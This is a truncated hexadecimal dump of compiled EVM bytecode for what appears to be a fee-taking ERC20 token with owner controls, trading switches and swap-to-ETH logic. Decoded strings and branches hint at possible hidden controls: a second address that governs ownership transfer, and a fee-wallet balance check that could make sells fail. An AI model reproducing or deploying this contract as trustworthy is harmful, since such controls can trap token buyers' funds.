4190620010a8565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008af906200111a565b60405180910390fd5b620008cc6000838362000b0b60201b60201c565b8060026000828254620008e091906200113c565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200093791906200113c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200099e9190620011aa565b60405180910390a3620009ba6000838362000b1060201b60201c565b5050565b620009ce620006a060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a5790620010a8565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000aff9190620011e4565b60405180910390a25050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b9757607f821691505b60208210810362000bad5762000bac62000b4f565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000bd8565b62000c23868362000bd8565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c7062000c6a62000c648462000c3b565b62000c45565b62000c3b565b9050919050565b6000819050919050565b62000c8c8362000c4f565b62000ca462000c9b8262000c77565b84845462000be5565b825550505050565b600090565b62000cbb62000cac565b62000cc881848462000c81565b505050565b5b8181101562000cf05762000ce460008262000cb1565b60018101905062000cce565b5050565b601f82111562000d3f5762000d098162000bb3565b62000d148462000bc8565b8101602085101562000d24578190505b62000d3c62000d338562000bc8565b83018262000ccd565b50505b505050565b600082821c905092915050565b600062000d646000198460080262000d44565b1980831691505092915050565b600062000d7f838362000d51565b9150826002028217905092915050565b62000d9a8262000b15565b67ffffffffffffffff81111562000db65762000db562000b20565b5b62000dc2825462000b7e565b62000dcf82828562000cf4565b600060209050601f83116001811462000e07576000841562000df2578287015190505b62000dfe858262000d71565b86555062000e6e565b601f19841662000e178662000bb3565b60005b8281101562000e415784890151825560018201915060208501945060208101905062000e1a565b8683101562000e61578489015162000e5d601f89168262000d51565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ea88262000e7b565b9050919050565b62000eba8162000e9b565b811462000ec657600080fd5b50565b60008151905062000eda8162000eaf565b92915050565b60006020828403121562000ef95762000ef862000e76565b5b600062000f098482850162000ec9565b91505092915050565b62000f1d8162000e9b565b82525050565b600060408201905062000f3a600083018562000f12565b62000f49602083018462000f12565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f8c8262000c3b565b915062000f998362000c3b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000fd55762000fd462000f50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200101c8262000c3b565b9150620010298362000c3b565b9250826200103c576200103b62000fe0565b5b828204905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200109060208362001047565b91506200109d8262001058565b602082019050919050565b60006020820190508181036000830152620010c38162001081565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001102601f8362001047565b91506200110f82620010ca565b602082019050919050565b600060208201905081810360008301526200113581620010f3565b9050919050565b6000620011498262000c3b565b9150620011568362000c3b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200118e576200118d62000f50565b5b828201905092915050565b620011a48162000c3b565b82525050565b6000602082019050620011c1600083018462001199565b92915050565b60008115159050919050565b620011de81620011c7565b82525050565b6000602082019050620011fb6000830184620011d3565b92915050565b60805160a0516140cf6200124360003960008181610d960152611334015260008181610b5901528181612c5e01528181612d3f0152612dd401526140cf6000f3fe60806040526004361061024a5760003560e01c8063751039fc11610139578063c18bc195116100b6578063d9bee3551161007a578063d9bee3551461088d578063dd62ed3e146108b6578063e2f45605146108f3578063f25f4b561461091e578063f2fde38b14610949578063f8b45b051461097257610251565b8063c18bc195146107d0578063c8c8ebe4146107f9578063c9567bf914610824578063cf0bd1e41461083b578063d257b34f1461086457610251565b8063a457c2d7116100fd578063a457c2d7146106c5578063a9059cbb14610702578063b62496f51461073f578063bbc0c7421461077c578063c0246668146107a757610251565b8063751039fc146105f25780637571336a1461061d5780638da5cb5b1461064657806395d89b41146106715780639a7a23d61461069c57610251565b80632b14ca56116101c75780634a62bb651161018b5780634a62bb651461051f578063635547cc1461054a5780636ddd17131461057357806370a082311461059e578063715018a6146105db57610251565b80632b14ca5614610436578063313ce56714610461578063395093511461048c57806347062402146104c957806349bd5a5e146104f457610251565b806318160ddd1161020e57806318160ddd1461034f578063203e727e1461037a57806323b872dd146103a357806327c8f835146103e05780632b112e491461040b57610251565b8063024f53811461025657806306fdde031461027f578063095ea7b3146102aa57806310d5de53146102e75780631694505e1461032457610251565b3661025157005b600080fd5b34801561026257600080fd5b5061027d60048036038101906102789190612ec7565b61099d565b005b34801561028b57600080fd5b50610294610a82565b6040516102a19190612f8d565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc919061300d565b610b14565b6040516102de9190613068565b60405180910390f35b3480156102f357600080fd5b5061030e60048036038101906103099190613083565b610b37565b60405161031b9190613068565b60405180910390f35b34801561033057600080fd5b50610339610b57565b604051610346919061310f565b60405180910390f35b34801561035b57600080fd5b50610364610b7b565b6040516103719190613139565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190612ec7565b610b85565b005b3480156103af57600080fd5b506103ca60048036038101906103c59190613154565b610caf565b6040516103d79190613068565b60405180910390f35b3480156103ec57600080fd5b506103f5610cde565b60405161040291906131b6565b60405180910390f35b34801561041757600080fd5b50610420610d04565b60405161042d9190613139565b60405180910390f35b34801561044257600080fd5b5061044b610d48565b6040516104589190613139565b60405180910390f35b34801561046d57600080fd5b50610476610d4e565b60405161048391906131ed565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae919061300d565b610d57565b6040516104c09190613068565b60405180910390f35b3480156104d557600080fd5b506104de610d8e565b6040516104eb9190613139565b60405180910390f35b34801561050057600080fd5b50610509610d94565b60405161051691906131b6565b60405180910390f35b34801561052b57600080fd5b50610534610db8565b6040516105419190613068565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c9190613234565b610dcb565b005b34801561057f57600080fd5b50610588610e7f565b6040516105959190613068565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c09190613083565b610e92565b6040516105d29190613139565b60405180910390f35b3480156105e757600080fd5b506105f0610eda565b005b3480156105fe57600080fd5b50610607611032565b6040516106149190613068565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190613261565b6110ed565b005b34801561065257600080fd5b5061065b6111df565b60405161066891906131b6565b60405180910390f35b34801561067d57600080fd5b50610686611209565b6040516106939190612f8d565b60405180910390f35b3480156106a857600080fd5b506106c360048036038101906106be9190613261565b61129b565b005b3480156106d157600080fd5b506106ec60048036038101906106e7919061300d565b6113ce565b6040516106f99190613068565b60405180910390f35b34801561070e57600080fd5b506107296004803603810190610724919061300d565b611445565b6040516107369190613068565b60405180910390f35b34801561074b57600080fd5b5061076660048036038101906107619190613083565b611468565b6040516107739190613068565b60405180910390f35b34801561078857600080fd5b50610791611488565b60405161079e9190613068565b60405180910390f35b3480156107b357600080fd5b506107ce60048036038101906107c99190613261565b61149b565b005b3480156107dc57600080fd5b506107f760048036038101906107f29190612ec7565b6115db565b005b34801561080557600080fd5b5061080e611705565b60405161081b9190613139565b60405180910390f35b34801561083057600080fd5b5061083961170b565b005b34801561084757600080fd5b50610862600480360381019061085d9190613154565b6117da565b005b34801561087057600080fd5b5061088b60048036038101906108869190612ec7565b611897565b005b34801561089957600080fd5b506108b460048036038101906108af9190612ec7565b611938565b005b3480156108c257600080fd5b506108dd60048036038101906108d891906132a1565b611a1d565b6040516108ea9190613139565b60405180910390f35b3480156108ff57600080fd5b50610908611aa4565b6040516109159190613139565b60405180910390f35b34801561092a57600080fd5b50610933611aaa565b60405161094091906131b6565b60405180910390f35b34801561095557600080fd5b50610970600480360381019061096b9190613083565b611ad0565b005b34801561097e57600080fd5b50610987611c61565b6040516109949190613139565b60405180910390f35b6109a5611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2b9061332d565b60405180910390fd5b6006811115610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90613399565b60405180910390fd5b80600d8190555050565b606060038054610a91906133e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610abd906133e8565b8015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b5050505050905090565b600080610b1f611c67565b9050610b2c818585611c6f565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b610b8d611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c139061332d565b60405180910390fd5b670de0b6b3a76400006103e86001610c32610b7b565b610c3c9190613448565b610c4691906134d1565b610c5091906134d1565b811015610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990613574565b60405180910390fd5b670de0b6b3a764000081610ca69190613448565b60098190555050565b600080610cba611c67565b9050610cc7858285611e38565b610cd2858585611ec4565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d31600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e92565b610d39610b7b565b610d439190613594565b905090565b600d5481565b60006012905090565b600080610d62611c67565b9050610d83818585610d748589611a1d565b610d7e91906135c8565b611c6f565b600191505092915050565b600c5481565b7f000000000000000000000000000000000000000000000000000000000000000081565b601160009054906101000a900460ff1681565b610dd3611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e599061332d565b60405180910390fd5b80601160026101000a81548160ff02191690831515021790555050565b601160029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ee2611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f689061332d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061103c611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c29061332d565b60405180910390fd5b6000601160006101000a81548160ff0219169083151502179055506001905090565b6110f5611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b9061332d565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611218906133e8565b80601f0160208091040260200160405190810160405280929190818152602001828054611244906133e8565b80156112915780601f1061126657610100808354040283529160200191611291565b820191906000526020600020905b81548152906001019060200180831161127457829003601f168201915b5050505050905090565b6112a3611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061332d565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b790613690565b60405180910390fd5b6113ca8282612845565b5050565b6000806113d9611c67565b905060006113e78286611a1d565b90508381101561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390613722565b60405180910390fd5b6114398286868403611c6f565b60019250505092915050565b600080611450611c67565b905061145d818585611ec4565b600191505092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601160019054906101000a900460ff1681565b6114a3611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115299061332d565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516115cf9190613068565b60405180910390a25050565b6115e3611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611672576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116699061332d565b60405180910390fd5b670de0b6b3a76400006103e86005611688610b7b565b6116929190613448565b61169c91906134d1565b6116a691906134d1565b8110156116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df906137b4565b60405180910390fd5b670de0b6b3a7640000816116fc9190613448565b600b8190555050565b60095481565b611713611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117999061332d565b60405180910390fd5b6001601160016101000a81548160ff0219169083151502179055506001601160026101000a81548160ff021916908315150217905550565b6117e2611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118689061332d565b60405180910390fd5b61187c82600161149b565b6118873360016110ed565b611892838383611c6f565b505050565b61189f611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119259061332d565b60405180910390fd5b80600a8190555050565b611940611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c69061332d565b60405180910390fd5b6003811115611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a90613820565b60405180910390fd5b80600c8190555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61dead73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611b625750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b4a611c67565b73ffffffffffffffffffffffffffffffffffffffff16145b611ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b98906138b2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590613944565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d44906139d6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e2b9190613139565b60405180910390a3505050565b6000611e448484611a1d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611ebe5781811015611eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea790613a42565b60405180910390fd5b611ebd8484848403611c6f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2a90613ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9990613b66565b60405180910390fd5b60008103611fbb57611fb6838360006128e6565b612840565b601160009054906101000a900460ff16156124b6578273ffffffffffffffffffffffffffffffffffffffff16611fef6111df565b73ffffffffffffffffffffffffffffffffffffffff161415801561204657508173ffffffffffffffffffffffffffffffffffffffff1661202d6111df565b73ffffffffffffffffffffffffffffffffffffffff1614155b801561207f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120b9575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120d25750600e60149054906101000a900460ff16155b156121cd57601160019054906101000a900460ff166121cc57601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061218c5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c290613bd2565b60405180910390fd5b5b5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122705750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612317576009548111156122ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b190613c64565b60405180910390fd5b600b546122c683610e92565b826122d191906135c8565b1115612312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230990613cd0565b60405180910390fd5b6124b5565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123ba5750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561240957600954811115612404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fb90613d62565b60405180910390fd5b6124b4565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166124b357600b5461246683610e92565b8261247191906135c8565b11156124b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a990613cd0565b60405180910390fd5b5b5b5b5b60006124c130610e92565b90506000600a5482101590508080156124e65750601160029054906101000a900460ff165b80156124ff5750600e60149054906101000a900460ff16155b80156125555750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156125ab5750601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156126015750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612645576001600e60146101000a81548160ff021916908315150217905550612629612b65565b6000600e60146101000a81548160ff0219169083151502179055505b6000600e60149054906101000a900460ff16159050601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126fb5750601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561270557600090505b6000811561283057600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561276857506000600d54115b1561278e576064600d548661277d9190613448565b61278791906134d1565b905061280c565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127e957506000600c54115b1561280b576064600c54866127fe9190613448565b61280891906134d1565b90505b5b6000811115612821576128208730836128e6565b5b808561282d9190613594565b94505b61283b8787876128e6565b505050505b505050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294c90613ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb90613b66565b60405180910390fd5b6129cf838383612bb5565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4c90613df4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ae891906135c8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b4c9190613139565b60405180910390a3612b5f848484612bba565b50505050565b6000612b7030610e92565b905060008103612b805750612bb3565b6002600a54612b8f9190613448565b811115612ba8576002600a54612ba59190613448565b90505b612bb181612bbf565b505b565b505050565b505050565b6000600267ffffffffffffffff811115612bdc57612bdb613e14565b5b604051908082528060200260200182016040528015612c0a5781602001602082028036833780820191505090505b5090503081600081518110612c2257612c21613e43565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ceb9190613e87565b81600181518110612cff57612cfe613e43565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612d64307f000000000000000000000000000000000000000000000000000000000000000084611c6f565b6032612d91600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e92565b1115612dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc990613f26565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612e5695949392919061403f565b600060405180830381600087803b158015612e7057600080fd5b505af1158015612e84573d6000803e3d6000fd5b505050505050565b600080fd5b6000819050919050565b612ea481612e91565b8114612eaf57600080fd5b50565b600081359050612ec181612e9b565b92915050565b600060208284031215612edd57612edc612e8c565b5b6000612eeb84828501612eb2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f2e578082015181840152602081019050612f13565b83811115612f3d576000848401525b50505050565b6000601f19601f8301169050919050565b6000612f5f82612ef4565b612f698185612eff565b9350612f79818560208601612f10565b612f8281612f43565b840191505092915050565b60006020820190508181036000830152612fa78184612f54565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612fda82612faf565b9050919050565b612fea81612fcf565b8114612ff557600080fd5b50565b60008135905061300781612fe1565b92915050565b6000806040838503121561302457613023612e8c565b5b600061303285828601612ff8565b925050602061304385828601612eb2565b9150509250929050565b60008115159050919050565b6130628161304d565b82525050565b600060208201905061307d6000830184613059565b92915050565b60006020828403121561309957613098612e8c565b5b60006130a784828501612ff8565b91505092915050565b6000819050919050565b60006130d56130d06130cb84612faf565b6130b0565b612faf565b9050919050565b60006130e7826130ba565b9050919050565b60006130f9826130dc565b9050919050565b613109816130ee565b82525050565b60006020820190506131246000830184613100565b92915050565b61313381612e91565b82525050565b600060208201905061314e600083018461312a565b92915050565b60008060006060848603121561316d5761316c612e8c565b5b600061317b86828701612ff8565b935050602061318c86828701612ff8565b925050604061319d86828701612eb2565b9150509250925092565b6131b081612fcf565b82525050565b60006020820190506131cb60008301846131a7565b92915050565b600060ff82169050919050565b6131e7816131d1565b82525050565b600060208201905061320260008301846131de565b92915050565b6132118161304d565b811461321c57600080fd5b50565b60008135905061322e81613208565b92915050565b60006020828403121561324a57613249612e8c565b5b60006132588482850161321f565b91505092915050565b6000806040838503121561327857613277612e8c565b5b600061328685828601612ff8565b92505060206132978582860161321f565b9150509250929050565b600080604083850312156132b8576132b7612e8c565b5b60006132c685828601612ff8565b92505060206132d785828601612ff8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613317602083612eff565b9150613322826132e1565b602082019050919050565b600060208201905081810360008301526133468161330a565b9050919050565b7f6b656570696e672073656c6c20666565206173203625206f72206c6573730000600082015250565b6000613383601e83612eff565b915061338e8261334d565b602082019050919050565b600060208201905081810360008301526133b281613376565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061340057607f821691505b602082108103613413576134126133b9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061345382612e91565b915061345e83612e91565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561349757613496613419565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134dc82612e91565b91506134e783612e91565b9250826134f7576134f66134a2565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b600061355e602f83612eff565b915061356982613502565b604082019050919050565b6000602082019050818103600083015261358d81613551565b9050919050565b600061359f82612e91565b91506135aa83612e91565b9250828210156135bd576135bc613419565b5b828203905092915050565b60006135d382612e91565b91506135de83612e91565b9250827ffffffffff